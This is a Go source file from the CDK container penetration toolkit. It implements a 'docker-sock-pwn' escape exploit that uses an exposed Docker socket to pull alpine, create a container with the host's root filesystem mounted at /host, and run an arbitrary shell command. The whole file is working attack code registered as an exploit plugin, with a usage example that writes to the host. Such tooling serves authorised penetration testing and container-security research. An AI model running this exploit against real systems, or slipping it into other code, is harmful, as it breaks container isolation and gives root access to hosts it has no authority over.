//go:build !no_docker_sock_pwn
// +build !no_docker_sock_pwn

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"fmt"
	"log"
	"regexp"
	"strings"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/exploit/base"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

// APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py
// curl --unix-socket /var/run/docker.sock http://127.0.0.1/info
func DockerAPIRun(path string, cmd string) error {
	cmd = strings.Replace(cmd, "\"", "\\\"", -1) // escape shell cmd
	cmd = strings.Replace(cmd, "\n", "\\n", -1)  // escape shell cmd
	cmd = strings.Replace(cmd, "\t", "\\t", -1)  // escape shell cmd
	payloadData := strings.Replace(dockerAPIHttpPostData, "<SHELL_CMD>", cmd, -1)

	log.Println(payloadData)
	ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/containers/create", payloadData)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to create container via unix socket http request."}
	}
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)

	// get container id
	pattern := regexp.MustCompile("[A-Fa-f0-9]{64}")
	params := pattern.FindStringSubmatch(ans)
	if len(params) > 0 {
		log.Println("container ID: ", params)
	} else {
		return errors.New("failed to get container ID after created.")
	}

	// start container
	containerID := params[0]
	log.Println("starting container:", containerID)
	ans, err = util.UnixHttpSend("post", path, "http://127.0.0.1/containers/"+containerID+"/start", "")
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to start container via unix socket http request."}
	}
	log.Println("finished.")
	return nil
}

func DockerAPIPull(path string, image string) error {
	log.Println("trying to pull image:", image)
	ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/images/create?fromImage="+strings.Replace(image, ":", "&tag=", -1), "")
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to pull docker image via unix socket http request."}
	}
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)
	return nil
}

func DockerSockExploit(sock string, cmd string) bool {
	err := CheckDockerSock(sock)
	if err != nil {
		log.Println(err)
		return false
	}
	err = DockerAPIPull(sock, "alpine:latest")
	if err != nil {
		log.Println(err)
		return false
	}
	err = DockerAPIRun(sock, cmd)
	if err != nil {
		log.Println(err)
		return false
	}
	return true
}

// plugin interface
type DINDAttackDeployS struct{ base.BaseExploit }

func (p DINDAttackDeployS) Desc() string {
	return "Create and run <cmd> in a container with host root `/` mounted to container `/host` usage: ./cdk run docker-sock-deploy <sock_path> <shell_cmd> example: ./cdk run docker-sock-pwn /var/run/docker.sock \"touch /host/tmp/pwn-success\""
}

func (p DINDAttackDeployS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	sock := args[0]
	cmd := args[1]

	log.Println("checking docker socket:", sock)
	return DockerSockExploit(sock, cmd)
}

func init() {
	exploit := DINDAttackDeployS{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("docker-sock-pwn", exploit)
}
